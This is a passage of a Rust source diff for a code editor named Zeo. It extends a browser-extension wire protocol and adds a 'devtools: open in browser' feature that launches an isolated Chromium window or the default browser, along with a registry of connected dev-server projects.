             "stale_permission" => Self::StalePermission,
             "ai_disabled" => Self::AiDisabled,
             "send_failed" => Self::SendFailed,
+            "not_found" => Self::NotFound,
+            "project_closed" => Self::ProjectClosed,
+            "agent_start_failed" => Self::AgentStartFailed,
             "oversized_from_zeo" => Self::OversizedFromZeo,
             _ => return None,
         })
     }
 
     /// Whether the session ends after this error is written. Per-message errors keep it open
-    /// (R3.5–R3.7).
+    /// (R3.5–R3.7), and so do story 055's `not_found`, `project_closed` and
+    /// `agent_start_failed` (R9.3).
     pub fn fatal(self) -> bool {
         matches!(
             self,
@@ -127,7 +138,7 @@ impl ChannelError {
             Self::TooLarge => "The message is larger than the 8 MiB Zeo accepts",
             Self::UnsupportedVersion => "Unsupported protocol version; Zeo speaks version 2",
             Self::UnknownKind => "Zeo does not know this kind of message",
-            Self::Busy => "Zeo is already serving 4 browser sessions",
+            Self::Busy => "Zeo is already serving 8 sessions",
             Self::Overloaded => "The session fell too far behind and Zeo closed it",
             Self::NotApproved => "This browser extension is not approved in Zeo yet",
             Self::ApprovalDenied => "Access was denied in Zeo",
@@ -140,6 +151,9 @@ impl ChannelError {
             Self::StalePermission => "That permission request is no longer pending",
             Self::AiDisabled => "AI features are disabled in Zeo",
             Self::SendFailed => "Zeo could not send the message to the agent",
+            Self::NotFound => "Zeo has no such thread for this project",
+            Self::ProjectClosed => "This project is not open in Zeo",
+            Self::AgentStartFailed => "The agent could not start in Zeo",
             Self::OversizedFromZeo => "Zeo sent a message too large to relay",
         };
         text.to_string()
@@ -265,6 +279,11 @@ pub enum ClientMsg {
         v: V2,
         id: String,
     },
+    /// A panel session's request for a new devtools thread in its own root (story 055).
+    CreateThread {
+        v: V2,
+        id: String,
+    },
 }
 
 impl ClientMsg {
@@ -278,6 +297,7 @@ impl ClientMsg {
             Self::Cancel { .. } => "cancel",
             Self::Authorize { .. } => "authorize",
             Self::OpenInZeo { .. } => "open_in_zeo",
+            Self::CreateThread { .. } => "create_thread",
         }
     }
 
@@ -290,20 +310,142 @@ impl ClientMsg {
             | Self::Subscribe { id, .. }
             | Self::Cancel { id, .. }
             | Self::Authorize { id, .. }
-            | Self::OpenInZeo { id, .. } => Some(id),
+            | Self::OpenInZeo { id, .. }
+            | Self::CreateThread { id, .. } => Some(id),
+        }
+    }
+}
+
+/// Who opened a session, tagged by `kind`. A `hello` without `kind` is an extension: 045's
+/// extensions never send one, and refusing them would break every installed extension on the
+/// next Zeo (GOTCHA G12). A `kind` that is present must name one of the three exactly.
+///
+/// Deserializing checks the shape only; `parse_client` also checks the root and the URLs.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
+#[serde(tag = "kind", rename_all = "snake_case")]
+pub enum ClientInfo {
+    Extension(ExtensionClient),
+    /// A dev server running `@lucascouts/zeo-devtools`, announcing itself (R2.1).
+    DevServer {
+        root: String,
+        app_url: String,
+        panel_url: String,
+    },
+    /// One open devtools panel page.
+    Panel {
+        root: String,
+    },
+}
+
+impl ClientInfo {
+    /// The wire `kind`; also the form used in log lines.
+    pub fn kind(&self) -> &'static str {
+        match self {
+            Self::Extension(_) => "extension",
+            Self::DevServer { .. } => "dev_server",
+            Self::Panel { .. } => "panel",
         }
     }
 }
 
 /// `browser` and `extension_id` are the host's, which overwrites what the extension sent.
-#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
-#[serde(deny_unknown_fields)]
-pub struct ClientInfo {
+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
+pub struct ExtensionClient {
     pub browser: Browser,
     pub extension_id: String,
     pub extension_version: String,
 }
 
+impl<'de> Deserialize<'de> for ClientInfo {
+    fn deserialize<D: Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
+        // serde's internally tagged enums require the tag, so every field is read into one flat,
+        // closed struct and the variant is chosen after: this also keeps the client object from
+        // being buffered into serde's `Content` tree.
+        let wire = WireClientInfo::deserialize(deserializer)?;
+        Self::try_from(wire).map_err(serde::de::Error::custom)
+    }
+}
+
+#[derive(Deserialize)]
+#[serde(rename_all = "snake_case")]
+enum ClientKind {
+    Extension,
+    DevServer,
+    Panel,
+}
+
+/// Every field any client kind carries; `try_from` refuses a field that belongs to another kind.
+#[derive(Deserialize)]
+#[serde(deny_unknown_fields)]
+struct WireClientInfo {
+    #[serde(default, deserialize_with = "present")]
+    kind: Option<ClientKind>,
+    #[serde(default, deserialize_with = "present")]
+    browser: Option<Browser>,
+    #[serde(default, deserialize_with = "present")]
+    extension_id: Option<String>,
+    #[serde(default, deserialize_with = "present")]
+    extension_version: Option<String>,
+    #[serde(default, deserialize_with = "present")]
+    root: Option<String>,
+    #[serde(default, deserialize_with = "present")]
+    app_url: Option<String>,
+    #[serde(default, deserialize_with = "present")]
+    panel_url: Option<String>,
+}
+
+impl TryFrom<WireClientInfo> for ClientInfo {
+    type Error = &'static str;
+
+    fn try_from(wire: WireClientInfo) -> Result<Self, Self::Error> {
+        let WireClientInfo {
+            kind,
+            browser,
+            extension_id,
+            extension_version,
+            root,
+            app_url,
+            panel_url,
+        } = wire;
+        let fields = (
+            browser,
+            extension_id,
+            extension_version,
+            root,
+            app_url,
+            panel_url,
+        );
+        match kind.unwrap_or(ClientKind::Extension) {
+            ClientKind::Extension => match fields {
+                (Some(browser), Some(extension_id), Some(extension_version), None, None, None) => {
+                    Ok(Self::Extension(ExtensionClient {
+                        browser,
+                        extension_id,
+                        extension_version,
+                    }))
+                }
+                _ => Err(
+                    "an extension client carries browser, extension_id and extension_version only",
+                ),
+            },
+            ClientKind::DevServer => match fields {
+                (None, None, None, Some(root), Some(app_url), Some(panel_url)) => {
+                    Ok(Self::DevServer {
+                        root,
+                        app_url,
+                        panel_url,
+                    })
+                }
+                _ => Err("a dev_server client carries root, app_url and panel_url only"),
+            },
+            ClientKind::Panel => match fields {
+                (None, None, None, Some(root), None, None) => Ok(Self::Panel { root }),
+                _ => Err("a panel client carries root only"),
+            },
+        }
+    }
+}
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
 #[serde(rename_all = "snake_case")]
 pub enum Browser {
@@ -593,6 +735,20 @@ pub enum ServerMsg {
     BridgeClosed {
         v: V2,
     },
+    /// The answer to `create_thread`, sent once the thread's agent connection is ready (G7).
+    Created {
+        v: V2,
+        id: String,
+        thread: ThreadInfo,
+    },
+    /// The panel session's project is open in a Zeo window (R7.3, R7.6).
+    ProjectOpen {
+        v: V2,
+    },
+    /// The panel session's project is open in no Zeo window (R2.3, R7.1, R7.6).
+    ProjectClosed {
+        v: V2,
+    },
     /// What a bridge speaking only version 1 (0052) answers to a v2 `hello`. Modelled so the
     /// extension's agreement fixtures read back; Zeo never writes it in a v2 session, where
     /// 0052's v1 path already answers v1 requests.
diff --git a/crates/agent_ui/src/devtools_browser.rs b/crates/agent_ui/src/devtools_browser.rs
new file mode 100644
index 0000000..d53f7d8
--- /dev/null
+++ b/crates/agent_ui/src/devtools_browser.rs
@@ -0,0 +1,494 @@
+//! `devtools: open in browser` (story 055, design.md §B6-B7): the project's devtools panel, opened
+//! on a devtools thread created for it, in an isolated Chromium window or the default browser.
+//!
+//! A connected project gets a new devtools thread and its panel URL with `#thread=<id>` (R4.1).
+//! A project not connected is started first (`devtools: start`), and the open waits for its
+//! announce on the deadline of `devtools: start`'s own notice (60 s); past that the open is
+//! cancelled for good, no browser opens and R1.6's message shows, once (R4.2, R4.7).
+//!
+//! `isolated` spawns `chromium` (or Debian's `chromium-browser`) with a profile of its own under
+//! Zeo's data directory, detached so it outlives an editor restart (GOTCHA G6); Google Chrome is
+//! never used, since it ignores `--load-extension` (GOTCHA G10). Without Chromium, and for
+//! `system`, the default browser opens the URL (R4.3-R4.5). The explicit actions override the
+//! setting either way (R4.6).
+//!
+//! The browser and the extension are read from the user settings only: a project settings file
+//! cannot choose what Zeo spawns or which extension it loads.
+//!
+//! Every line logged here is `devtools_browser event=<event>` followed by `key=value` fields naming
+//! the root; never the panel URL, which may carry a query (R9.2).
+
+use std::path::{Path, PathBuf};
+
+use futures::channel::oneshot;
+use gpui::{App, AppContext as _, AsyncApp, Context, WeakEntity, Window, actions};
+use settings::{DevtoolsBrowserContent, RegisterSetting, Settings, SettingsContent};
+use workspace::notifications::NotificationId;
+use workspace::{Toast, Workspace};
+
+use crate::browser_channel::log_line;
+use crate::devtools_projects::{DevtoolsProjects, loggable_root};
+use crate::devtools_run::{self, AnnounceWait, StartOutcome};
+use crate::devtools_threads;
+
+actions!(
+    devtools,
+    [
+        /// Opens the project's devtools panel on a new devtools thread, in the browser the
+        /// `devtools.browser` setting names; a project not running yet is started first.
+        OpenInBrowser,
+        /// Opens the project's devtools panel in an isolated Chromium window, whatever the
+        /// `devtools.browser` setting says.
+        OpenInBrowserIsolated,
+        /// Opens the project's devtools panel in the system's default browser, whatever the
+        /// `devtools.browser` setting says.
+        OpenInBrowserSystem,
+    ]
+);
+
+/// What R4.4 shows when the isolated window cannot be a Chromium one.
+pub const CHROMIUM_NOT_FOUND: &str = "Chromium not found: opened in your default browser";
+const NO_LOCAL_PROJECT: &str = "Open a local project to open its devtools panel";
+
+/// The Chromium binaries, in the order they are looked up on `PATH`.
+const CHROMIUM_NAMES: [&str; 2] = ["chromium", "chromium-browser"];
+
+/// The browser the panel opens in.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
+pub enum BrowserTarget {
+    /// A Chromium window with its own profile (R4.3).
+    #[default]
+    Isolated,
+    /// The system's default browser (R4.5).
+    System,
+}
+
+impl BrowserTarget {
+    fn name(self) -> &'static str {
+        match self {
+            Self::Isolated => "isolated",
+            Self::System => "system",
+        }
+    }
+}
+
+impl From<DevtoolsBrowserContent> for BrowserTarget {
+    fn from(content: DevtoolsBrowserContent) -> Self {
+        match content {
+            DevtoolsBrowserContent::Isolated => Self::Isolated,
+            DevtoolsBrowserContent::System => Self::System,
+        }
+    }
+}
+
+/// The `devtools` settings that choose the browser; read them through
+/// [`DevtoolsBrowserSettings::user`] only.
+#[derive(Clone, Debug, Default, PartialEq, Eq, RegisterSetting)]
+pub struct DevtoolsBrowserSettings {
+    pub browser: BrowserTarget,
+    pub extension_path: Option<PathBuf>,
+}
+
+impl Settings for DevtoolsBrowserSettings {
+    fn from_settings(content: &SettingsContent) -> Self {
+        let devtools = content.project.devtools.as_ref();
+        Self {
+            browser: devtools
+                .and_then(|devtools| devtools.browser)
+                .map(BrowserTarget::from)
+                .unwrap_or_default(),
+            extension_path: devtools.and_then(|devtools| devtools.browser_extension_path.clone()),
+        }
+    }
+}
+
+impl DevtoolsBrowserSettings {
+    /// The user's choice. The keys live in the project section, where a project settings file
+    /// can write them too; the store's global value merges the default, user, profile and server
+    /// settings but never a worktree's file, so reading it, and never a per-location value, is
+    /// what keeps a project from choosing what Zeo spawns.
+    pub fn user(cx: &App) -> &Self {
+        Self::get_global(cx)
+    }
+}
+
+/// How the panel URL is opened.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub enum Launch {
+    /// Spawn `program` with `args`, detached.
+    Chromium { program: PathBuf, args: Vec<String> },
+    /// Open `url` in the default browser, then show `notice` if any.
+    Default { url: String, notice: Option<String> },
+}
+
+/// Decides how `url` opens for `target`. `lookup` finds a program on `PATH`; `extension_dir` is
+/// loaded only when it holds a `manifest.json`, since a flag naming anything else makes Chromium
+/// warn on every start.
+pub fn plan(
+    target: BrowserTarget,
+    url: &str,
+    data_dir: &Path,
+    extension_dir: Option<&Path>,
+    lookup: &dyn Fn(&str) -> Option<PathBuf>,
+) -> Launch {
+    if target == BrowserTarget::System {
+        return Launch::Default {
+            url: url.to_string(),
+            notice: None,
+        };
+    }
+    let Some(program) = CHROMIUM_NAMES.into_iter().find_map(|name| lookup(name)) else {
+        return Launch::Default {
+            url: url.to_string(),
+            notice: Some(CHROMIUM_NOT_FOUND.to_string()),
+        };
+    };
+    let mut args = vec![
+        format!(
+            "--user-data-dir={}",
+            data_dir.join("browser-profile").display()
+        ),
+        "--no-first-run".to_string(),
+    ];
+    if let Some(extension_dir) =
+        extension_dir.filter(|directory| directory.join("manifest.json").is_file())
+    {
+        args.push(format!("--load-extension={}", extension_dir.display()));
+    }
+    args.push(format!("--app={url}"));
+    Launch::Chromium { program, args }
+}
+
+/// The notification id of this module's messages: a repeat replaces the last one.
+struct BrowserToast;
+
+pub(crate) fn init(cx: &mut App) {
+    cx.observe_new(|workspace: &mut Workspace, _window, _cx| {
+        workspace
+            .register_action(|workspace, _: &OpenInBrowser, window, cx| {
+                open_in_browser(workspace, None, window, cx)
+            })
+            .register_action(|workspace, _: &OpenInBrowserIsolated, window, cx| {
+                open_in_browser(workspace, Some(BrowserTarget::Isolated), window, cx)
+            })
+            .register_action(|workspace, _: &OpenInBrowserSystem, window, cx| {
+                open_in_browser(workspace, Some(BrowserTarget::System), window, cx)
+            });
+    })
+    .detach();
+}
+
+/// `devtools: open in browser` for the workspace's root; `target` `None` lets the
+/// `devtools.browser` setting decide (R4.6).
+pub fn open_in_browser(
+    workspace: &mut Workspace,
+    target: Option<BrowserTarget>,
+    window: &mut Window,
+    cx: &mut Context<Workspace>,
+) {
+    let Some((root, _)) = devtools_run::local_root(workspace, cx) else {
+        workspace.show_toast(
+            Toast::new(NotificationId::unique::<BrowserToast>(), NO_LOCAL_PROJECT),
+            cx,
+        );
+        return;
+    };
+    let target = target.unwrap_or_else(|| DevtoolsBrowserSettings::user(cx).browser);
+    let panel_url = DevtoolsProjects::try_global(cx).and_then(|projects| {
+        projects
+            .read(cx)
+            .project_for(&root)
+            .map(|project| project.panel_url.clone())
+    });
+    if panel_url.is_none()
+        && devtools_run::start(workspace, window, cx) == StartOutcome::NoLocalProject
+    {
+        return;
+    }
+    log_event(
+        log::Level::Info,
+        "open",
+        &root,
+        format!("target={} connected={}", target.name(), panel_url.is_some()),
+    );
+    let workspace = cx.weak_entity();
+    // Creating the thread, and the connected projects registry, read every window, which this
+    // workspace's update hides: both wait for the top level (GOTCHA G17).
+    cx.defer(move |cx| match panel_url {
+        Some(panel_url) => open_on_new_thread(root, panel_url, target, workspace, cx),
+        None => open_once_announced(root, target, workspace, cx),
+    });
+}
+
+/// Waits for the announce of the dev server `devtools: start` just launched for `root`, then
+/// opens. The wait is the run's own, on the deadline of R1.6's notice: at that deadline the notice
+/// shows and the open is cancelled for good, so a later announce opens nothing (R4.7). A run that
+/// ends without an announce — its command could not be resolved, it was stopped or it exited —
+/// cancels the open at once and shows nothing more: the operator was told why already.
+fn open_once_announced(
+    root: PathBuf,
+    target: BrowserTarget,
+    workspace: WeakEntity<Workspace>,
+    cx: &mut App,
+) {
+    let projects = DevtoolsProjects::global(cx);
+    // Announced between the action and this deferred call.
+    if let Some(project) = projects.read(cx).project_for(&root) {
+        let panel_url = project.panel_url.clone();
+        open_on_new_thread(root, panel_url, target, workspace, cx);
+        return;
+    }
+    let Some(wait) = devtools_run::wait_for_announce(&root, cx) else {
+        log_event(log::Level::Info, "cancelled", &root, "reason=no_run".into());
+        return;
+    };
+    cx.spawn(async move |cx| {
+        let reason = match wait.await {
+            Ok(AnnounceWait::Announced) => {
+                cx.update(|cx| {
+                    let panel_url = DevtoolsProjects::global(cx)
+                        .read(cx)
+                        .project_for(&root)
+                        .map(|project| project.panel_url.clone());
+                    match panel_url {
+                        Some(panel_url) => {
+                            open_on_new_thread(root, panel_url, target, workspace, cx)
+                        }
+                        // Its session ended in the same breath.
+                        None => {
+                            log_event(log::Level::Info, "cancelled", &root, "reason=gone".into())
+                        }
+                    }
+                });
+                return;
+            }
+            // `devtools: start` showed R1.6 at this same deadline.
+            Ok(AnnounceWait::TimedOut) => "not_announced",
+            Err(oneshot::Canceled) => "run_ended",
+        };
+        log_event(
+            log::Level::Info,
+            "cancelled",
+            &root,
+            format!("reason={reason}"),
+        );
+    })
+    .detach();
+}
+
+/// Creates a devtools thread for `root` and opens the panel bound to it (R4.1).
+fn open_on_new_thread(
+    root: PathBuf,
+    panel_url: String,
+    target: BrowserTarget,
+    workspace: WeakEntity<Workspace>,
+    cx: &mut App,
+) {
+    let created = devtools_threads::create(&root, cx);
+    cx.spawn(async move |cx| match created.await {
+        Ok(thread) => {
+            let url = format!("{panel_url}#thread={}", thread.thread_id);
+            log_event(
+                log::Level::Info,
+                "thread_ready",
+                &root,
+                format!("thread={}", thread.thread_id),
+            );
+            launch(&root, target, url, workspace, cx).await;
+        }
+        Err(error) => {
+            log_event(log::Level::Warn, "thread_failed", &root, String::new());
+            cx.update(|cx| {
+                show_toast(
+                    workspace,
+                    format!("Could not open the devtools panel: {error:#}"),
+                    cx,
+                )
+            });
+        }
+    })
+    .detach();
+}
+
+/// What opening the URL came to.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub(crate) enum Opened {
+    Chromium,
+    Default { url: String, notice: Option<String> },
+}
+
+/// Opens `url` for `target`: Chromium is looked up and spawned off the main thread, and the
+/// default browser is the fallback when that fails (R4.4).
+async fn launch(
+    root: &Path,
+    target: BrowserTarget,
+    url: String,
+    workspace: WeakEntity<Workspace>,
+    cx: &mut AsyncApp,
+) {
+    let configured = cx.update(|cx| DevtoolsBrowserSettings::user(cx).extension_path.clone());
+    let data_dir = paths::data_dir().clone();
+    let opened = cx
+        .background_spawn({
+            let root = root.to_path_buf();
+            async move {
+                let extension_dir = match target {
+                    BrowserTarget::Isolated => usable_extension(&root, configured.as_deref()),
+                    BrowserTarget::System => None,
+                };
+                let launch = plan(
+                    target,
+                    &url,
+                    &data_dir,
+                    extension_dir.as_deref(),
+                    &find_on_path,
+                );
+                execute(&root, &url, launch)
+            }
+        })
+        .await;
+    match opened {
+        Opened::Chromium => log_event(log::Level::Info, "opened", root, "how=chromium".into()),
+        Opened::Default { url, notice } => {
+            log_event(
+                log::Level::Info,
+                "opened",
+                root,
+                format!("how=default notice={}", notice.is_some()),
+            );
+            cx.update(|cx| {
+                cx.open_url(&url);
+                if let Some(notice) = notice {
+                    show_toast(workspace, notice, cx);
+                }
+            });
+        }
+    }
+}
+
+/// The configured extension directory, a leading `~/` expanded, when it holds a `manifest.json`.
+/// Anything else is skipped with a log line, and Chromium starts without it.
+pub(crate) fn usable_extension(root: &Path, configured: Option<&Path>) -> Option<PathBuf> {
+    let directory = expand_home(configured?, paths::home_dir());
+    if directory.join("manifest.json").is_file() {
+        return Some(directory);
+    }
+    log_event(
+        log::Level::Warn,
+        "extension_skipped",
+        root,
+        format!(
+            "reason=no_manifest path={:?}",
+            directory.display().to_string()
+        ),
+    );
+    None
+}
+
+/// `path` with a leading `~` component replaced by `home`; `~user` forms are left alone.
+pub(crate) fn expand_home(path: &Path, home: &Path) -> PathBuf {
+    match path.strip_prefix("~") {
+        Ok(rest) => home.join(rest),
+        Err(_) => path.to_path_buf(),
+    }
+}
+
+/// Carries out `launch` for the panel at `url`. A Chromium that fails to spawn falls back to the
+/// default browser with R4.4's notice; the log names the program and the error, never the URL.
+pub(crate) fn execute(root: &Path, url: &str, launch: Launch) -> Opened {
+    match launch {
+        Launch::Chromium { program, args } => match spawn_detached(&program, &args) {
+            Ok(()) => Opened::Chromium,
+            Err(error) => {
+                log_event(
+                    log::Level::Warn,
+                    "chromium_spawn_failed",
+                    root,
+                    format!(
+                        "program={:?} error={:?}",
+                        program.display().to_string(),
+                        error.to_string()
+                    ),
+                );
+                Opened::Default {
+                    url: url.to_string(),
+                    notice: Some(CHROMIUM_NOT_FOUND.to_string()),
+                }
+            }
+        },
+        Launch::Default { url, notice } => Opened::Default { url, notice },
+    }
+}
+
+/// The Chromium command, before its streams are set (GOTCHA G6):
+/// - no `LD_LIBRARY_PATH`: an AppImage Zeo prepends its bundled libraries there, and Chromium,
+///   which has no RPATH, would load them from a mount that vanishes when Zeo exits;
+/// - on unix, a process group of its own, so a Ctrl-C in, or the close of, the terminal that
+///   launched Zeo does not reach the browser.
+pub(crate) fn chromium_command(program: &Path, args: &[String]) -> std::process::Command {
+    let mut command = util::command::new_std_command(program);
+    command.args(args).env_remove("LD_LIBRARY_PATH");
+    #[cfg(unix)]
+    {
+        use std::os::unix::process::CommandExt as _;
+        command.process_group(0);
+    }
+    command
+}
+
+/// Spawns Chromium without Zeo's standard streams and drops its handle, so it outlives an editor
+/// restart. async-process neither kills a dropped child nor leaves it a zombie: it reaps it once
+/// it exits.
+pub(crate) fn spawn_detached(program: &Path, args: &[String]) -> std::io::Result<()> {
+    let mut command = smol::process::Command::from(chromium_command(program, args));
+    // Set after the conversion, which keeps the environment and the process group but resets
+    // the streams to inherited.
+    command
+        .stdin(smol::process::Stdio::null())
+        .stdout(smol::process::Stdio::null())
+        .stderr(smol::process::Stdio::null())
+        .spawn()
+        .map(drop)
+}
+
+/// The first executable file called `name` in a `PATH` directory.
+fn find_on_path(name: &str) -> Option<PathBuf> {
+    let path = std::env::var_os("PATH")?;
+    std::env::split_paths(&path)
+        .map(|directory| directory.join(name))
+        .find(|candidate| is_executable(candidate))
+}
+
+#[cfg(unix)]
+fn is_executable(path: &Path) -> bool {
+    use std::os::unix::fs::PermissionsExt as _;
+    std::fs::metadata(path)
+        .is_ok_and(|metadata| metadata.is_file() && metadata.permissions().mode() & 0o111 != 0)
+}
+
+#[cfg(not(unix))]
+fn is_executable(path: &Path) -> bool {
+    path.is_file()
+}
+
+fn show_toast(workspace: WeakEntity<Workspace>, message: String, cx: &mut App) {
+    workspace
+        .update(cx, |workspace, cx| {
+            workspace.show_toast(
+                Toast::new(NotificationId::unique::<BrowserToast>(), message),
+                cx,
+            )
+        })
+        .ok();
+}
+
+fn log_event(level: log::Level, event: &str, root: &Path, fields: String) {
+    let separator = if fields.is_empty() { "" } else { " " };
+    log_line(
+        level,
+        format!(
+            "devtools_browser event={event} root={}{separator}{fields}",
+            loggable_root(root)
+        ),
+    );
+}
diff --git a/crates/agent_ui/src/devtools_delivery.rs b/crates/agent_ui/src/devtools_delivery.rs
index 0e29452..f1c0998 100644
--- a/crates/agent_ui/src/devtools_delivery.rs
+++ b/crates/agent_ui/src/devtools_delivery.rs
@@ -289,6 +289,34 @@ pub(crate) fn workspaces_by_recency(cx: &App) -> Vec<(AnyWindowHandle, Vec<Entit
 /// that is already canonical, or that no longer resolves, is left out: it
 /// matches by its own path only.
 pub fn canonical_worktree_roots(fs: Arc<dyn Fs>, cx: &App) -> Task<HashMap<PathBuf, PathBuf>> {
+    let roots = open_worktree_roots(cx);
+    cx.background_executor().spawn(async move {
+        let mut canonical_roots = HashMap::default();
+        for root in roots {
+            match fs.canonicalize(&root).await {
+                Ok(canonical) if canonical != root => {
+                    canonical_roots.insert(root, canonical);
+                }
+                Ok(_) => {}
+                // The root may belong to another project, so neither it nor the error
+                // (which names it) is logged: R12.3.
+                Err(error) => {
+                    log::debug!(
+                        "devtools delivery: a worktree root does not canonicalize, matched by its own path: kind={:?}",
+                        error.downcast_ref::<std::io::Error>().map(|error| error.kind())
+                    );
+                }
+            }
+        }
+        canonical_roots
+    })
+}
+
+/// The root of every visible local worktree open in any window, sorted and deduplicated, each as
+/// the path it was opened by: the worktrees [`resolve_window_for_path_with`] searches.
+///
+/// Do not call it from inside a window update: a leased window is skipped.
+pub(crate) fn open_worktree_roots(cx: &App) -> Vec<PathBuf> {
     let mut roots: Vec<PathBuf> = Vec::new();
     for window in cx.windows() {
         let Some(multi_workspace) = window
@@ -311,27 +339,7 @@ pub fn canonical_worktree_roots(fs: Arc<dyn Fs>, cx: &App) -> Task<HashMap<PathB
     }
     roots.sort();
     roots.dedup();
-
-    cx.background_executor().spawn(async move {
-        let mut canonical_roots = HashMap::default();
-        for root in roots {
-            match fs.canonicalize(&root).await {
-                Ok(canonical) if canonical != root => {
-                    canonical_roots.insert(root, canonical);
-                }
-                Ok(_) => {}
-                // The root may belong to another project, so neither it nor the error
-                // (which names it) is logged: R12.3.
-                Err(error) => {
-                    log::debug!(
-                        "devtools delivery: a worktree root does not canonicalize, matched by its own path: kind={:?}",
-                        error.downcast_ref::<std::io::Error>().map(|error| error.kind())
-                    );
-                }
-            }
-        }
-        canonical_roots
-    })
+    roots
 }
 
 /// How good a candidate is; compared field by field, greatest wins.
diff --git a/crates/agent_ui/src/devtools_projects.rs b/crates/agent_ui/src/devtools_projects.rs
new file mode 100644
index 0000000..3c336dd
--- /dev/null
+++ b/crates/agent_ui/src/devtools_projects.rs
@@ -0,0 +1,455 @@
+//! Connected projects (story 055, design.md §B2): the dev servers that announced a project root,
+//! the panel sessions of each root, and whether each root is open in Zeo.
+//!
+//! A root is open while it lies inside a visible local worktree of some window, the same worktrees
+//! and the same component-wise containment `devtools_delivery` resolves a selection with; an
+//! announce never makes a root open (R7.6). The open state is re-read when a window opens or
+//! closes, when a window gains or loses a workspace, when a project gains or loses a worktree, and
+//! when Zeo quits; every change is told to the announce session and every panel session of the
+//! root, as `project_open` or `project_closed` (R2.3, R7.1, R7.3).
+//!
+//! One dev server per root (Assumption A4): a newer announce for a root ends the older session.
+//!
+//! Every line logged here is `devtools_projects event=<event>` followed by `key=value` fields, and
+//! names the root; never an app or panel URL, which may carry a query (R9.1, R9.2).
+
+use std::collections::BTreeSet;
+use std::path::{Path, PathBuf};
+
+use anyhow::Context as _;
+use collections::HashMap;
+use gpui::{App, AppContext as _, Context, Entity, EventEmitter, Global, Subscription, WeakEntity};
+use project::Project;
+use workspace::{MultiWorkspace, MultiWorkspaceEvent};
+
+use crate::browser_channel::{self, SessionId};
+use crate::browser_wire::{ServerMsg, V2};
+use crate::devtools_delivery::open_worktree_roots;
+
+/// A dev server that announced its project root.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ConnectedProject {
+    pub app_url: String,
+    pub panel_url: String,
+    /// The session that announced it; ending that session removes the project (R2.4).
+    pub announce_session: SessionId,
+    /// Whether the root lies inside a worktree open in Zeo, as last told to its sessions.
+    pub open: bool,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum DevtoolsProjectsEvent {
+    /// A dev server announced `root`, first or replacing an older one.
+    Announced(PathBuf),
+}
+
+/// The app-wide registry of connected projects and panel sessions; see the module docs.
+pub struct DevtoolsProjects {
+    projects: HashMap<PathBuf, ConnectedProject>,
+    panels: HashMap<PathBuf, Vec<SessionId>>,
+    /// The worktree roots the sessions were last told about; `is_open` reads them.
+    worktree_roots: Vec<PathBuf>,
+    /// Set once Zeo quits: nothing is open any more, whatever the windows still hold.
+    quitting: bool,
+    _subscriptions: Vec<Subscription>,
+}
+
+struct GlobalDevtoolsProjects(Entity<DevtoolsProjects>);
+
+impl Global for GlobalDevtoolsProjects {}
+
+impl EventEmitter<DevtoolsProjectsEvent> for DevtoolsProjects {}
+
+impl DevtoolsProjects {
+    /// The registry, created on first use; creating it starts watching windows and projects.
+    pub fn global(cx: &mut App) -> Entity<Self> {
+        if let Some(global) = cx.try_global::<GlobalDevtoolsProjects>() {
+            return global.0.clone();
+        }
+        let projects = cx.new(Self::new);
+        cx.set_global(GlobalDevtoolsProjects(projects.clone()));
+        projects
+    }
+
+    /// The registry, if anything has created it yet.
+    pub fn try_global(cx: &App) -> Option<Entity<Self>> {
+        cx.try_global::<GlobalDevtoolsProjects>()
+            .map(|global| global.0.clone())
+    }
+
+    fn new(cx: &mut Context<Self>) -> Self {
+        let this = cx.weak_entity();
+        let new_windows = cx.observe_new({
+            let this = this.clone();
+            move |_: &mut MultiWorkspace, _, cx| {
+                let multi_workspace = cx.entity();
+                watch_window(this.clone(), &multi_workspace, cx);
+                schedule_refresh(this.clone(), cx);
+            }
+        });
+        let new_projects = cx.observe_new({
+            let this = this.clone();
+            move |_: &mut Project, _, cx| {
+                let project = cx.entity();
+                watch_project(this.clone(), &project, cx);
+            }
+        });
+        let closed_windows = cx.on_window_closed({
+            let this = this.clone();
+            move |cx, _| schedule_refresh(this.clone(), cx)
+        });
+        let quit = cx.on_app_quit(|this, cx| {
+            this.quitting = true;
+            this.apply(Vec::new(), "quit", cx);
+            async {}
+        });
+
+        // What was open before the registry existed is watched too.
+        for window in cx.windows() {
+            let Some(multi_workspace) = window
+                .downcast::<MultiWorkspace>()
+                .and_then(|handle| handle.entity(cx).ok())
+            else {
+                continue;
+            };
+            let projects: Vec<Entity<Project>> = multi_workspace
+                .read(cx)
+                .workspaces()
+                .map(|workspace| workspace.read(cx).project().clone())
+                .collect();
+            watch_window(this.clone(), &multi_workspace, cx);
+            for project in projects {
+                watch_project(this.clone(), &project, cx);
+            }
+        }
+
+        Self {
+            projects: HashMap::default(),
+            panels: HashMap::default(),
+            worktree_roots: open_worktree_roots(cx),
+            quitting: false,
+            _subscriptions: vec![new_windows, new_projects, closed_windows, quit],
+        }
+    }
+
+    /// The connected project at `root`, if a dev server announced it and its session is alive.
+    pub fn project_for(&self, root: &Path) -> Option<&ConnectedProject> {
+        self.projects.get(&normalized(root))
+    }
+
+    /// The panel sessions of `root`, in the order they said hello.
+    pub fn panel_sessions(&self, root: &Path) -> &[SessionId] {
+        self.panels
+            .get(&normalized(root))
+            .map_or(&[], |sessions| sessions.as_slice())
+    }
+
+    /// Whether `root` lies inside a worktree open in Zeo, whether or not a dev server announced
+    /// it (R7.6).
+    pub fn is_open(&self, root: &Path) -> bool {
+        !self.quitting && holds(&self.worktree_roots, &normalized(root))
+    }
+
+    /// Records the dev server `session` announced at `root`, answers `welcome` and the root's
+    /// state, and emits [`DevtoolsProjectsEvent::Announced`]. A root inside no open worktree is
+    /// recorded too and the session kept: it is told `project_closed` (R2.3).
+    pub fn on_announce(
+        &mut self,
+        session: SessionId,
+        hello_id: Option<String>,
+        root: &Path,
+        app_url: String,
+        panel_url: String,
+        cx: &mut Context<Self>,
+    ) {
+        let root = normalized(root);
+        self.refresh(cx);
+        // One session announces one root: a repeated hello naming another root moves it.
+        let moved: Vec<PathBuf> = self
+            .projects
